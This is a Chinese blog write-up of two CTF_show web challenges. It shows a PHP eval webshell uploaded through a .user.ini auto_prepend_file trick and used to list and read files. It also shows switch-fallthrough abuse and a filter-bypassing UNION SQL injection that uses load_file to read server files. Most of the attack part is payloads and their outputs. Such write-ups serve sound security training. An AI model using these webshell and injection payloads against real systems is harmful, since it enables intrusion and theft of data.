• CTF_show平台 web题解 part3


    web13

    题目显示文件上传,各类型上传均提示错误,在使用ctf-scan扫描的时候,发现upload.php.bak

    查看源码:

    <?php 
    	header("content-type:text/html;charset=utf-8");
    	$filename = $_FILES['file']['name'];
    	$temp_name = $_FILES['file']['tmp_name'];
    	$size = $_FILES['file']['size'];
    	$error = $_FILES['file']['error'];
    	$arr = pathinfo($filename);
    	$ext_suffix = $arr['extension'];
    	if ($size > 24){
    		die("error file zise");
    	}
    	if (strlen($filename)>9){
    		die("error file name");
    	}
    	if(strlen($ext_suffix)>3){
    		die("error suffix");
    	}
    	if(preg_match("/php/i",$ext_suffix)){
    		die("error suffix");
        }
        if(preg_match("/php/i"),$filename)){
            die("error file name");
        }
    	if (move_uploaded_file($temp_name, './'.$filename)){
    		echo "文件上传成功!";
    	}else{
    		echo "文件上传失败!";
    	}
     ?>
    

    阅读源码,上传限制:

    1. 文件大小小于等于24
    2. 文件名长度小于等于9
    3. 后缀长度小于等于3
    4. 文件名和后缀名均不能存在php

    可以将<?php eval($_POST['a']);写入1.txt文件,但是由于后缀问题服务器无法解析该php语句。

    1. 上传1.txt
    2. 上传.user.ini文件
    3. 菜刀连接

    PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
    我们在.user.ini中输入auto_prepend_file =1.txt,这样在该目录下的所有文件都会包含1.txt的内容。

    菜刀连接上之后发现没有权限,只能尝试在网页上访问。

    <?php eval($_GET['a']);写入1.txt文件,上传。

    使用payload:?a=print_r(glob('*'));

    Array ( 
        [0] => 903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php 
        [1] => a.txt 
        [2] => index.php 
        [3] => upload.php 
        [4] => upload.php.bak 
    ) 
    

    使用highlight查看文件。

    ?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

    得到flag。

    web14

    <?php
    include("secret.php");
    
    if(isset($_GET['c'])){
        $c = intval($_GET['c']);
        sleep($c);
        switch ($c) {
            case 1:
                echo '$url';
                break;
            case 2:
                echo '@A@';
                break;
            case 555555:
                echo $url;
            case 44444:
                echo "@A@";
                break;
            case 3333:
                echo $url;
                break;
            case 222:
                echo '@A@';
                break;
            case 222:
                echo '@A@';
                break;
            case 3333:
                echo $url;
                break;
            case 44444:
                echo '@A@';
            case 555555:
                echo $url;
                break;
            case 3:
                echo '@A@';
            case 6000000:
                echo "$url";
            case 1:
                echo '@A@';
                break;
        }
    }
    
    highlight_file(__FILE__); 
    

    switch case语句中如果某一项没有break语句,就有可能出现非预期的结果。

    这里构造payload:?c=3,就可以获得想要的结果:

    @A@here_1s_your_f1ag.php@A@
    

    第二个网页是一个查询页面,可能是sql注入。先查看源代码,发现提示:

    <!--
    	if(preg_match('/information_schema.tables|information_schema.columns|linestring| |polygon/is', $_GET['query'])){
    		die('@A@');
    	}
    -->
    

    过滤了information_schema.tablesinformation_schema.columnslinestring 空格polygon

    可以使用反引号绕过部分过滤:

    information_schema.tables
    information_schema.`tables`
    这两句话等价
    

    查询过程:

    数据库名: ?query=-1/**/union/**/select/**/database()
    OUTPUT: web
    
    表名: ?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()
    OUTPUT: content
    
    列名: ?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'
    OUTPUT: id,username,password
    
    值: ?query=-1/**/union/**/select/**/concat_ws(0x24,id,username,password)/**/from/**/content/**/where/**/id=1
    OUTPUT:
    1$admin$flag is not here!
    2$gtf1y$wow,you can really dance
    3$Wow$tell you a secret,secret has a secret...
    

    没有flag,通过第三条数据,猜测flag在secret.php中,使用load_file()读取本地文件:

    ?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')
    

    获得信息:

    <script>
    alert('<!-- ReadMe -->
    <?php
    $url = 'here_1s_your_f1ag.php';
    $file = '/tmp/gtf1y';
    if(trim(@file_get_contents($file)) === 'ctf.show'){
    	echo file_get_contents('/real_flag_is_here');
    }')</script>
    

    读取真实flag:

    ?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
    

    获得flag。

  • 相关阅读:
    shell脚本空行造成“: not found.sh“报错
    MySQL实现分组排序(8.0版本以下ROW_NUMBER() OVER())
    vscode远程主机
    nginx-ingress-controler改写上下文
    nginx-ingress-controller自定义参数
    kubernetes安装nginx-ingress-controller服务
    二进制kubernetes升级
    C++关键字完整版
    virtio、vhost和 vhost-user
    Tomcat端口占用报错时的排除办法
  • 原文地址:https://www.cnblogs.com/chalan630/p/12676951.html
Copyright © 2020-2023  润新知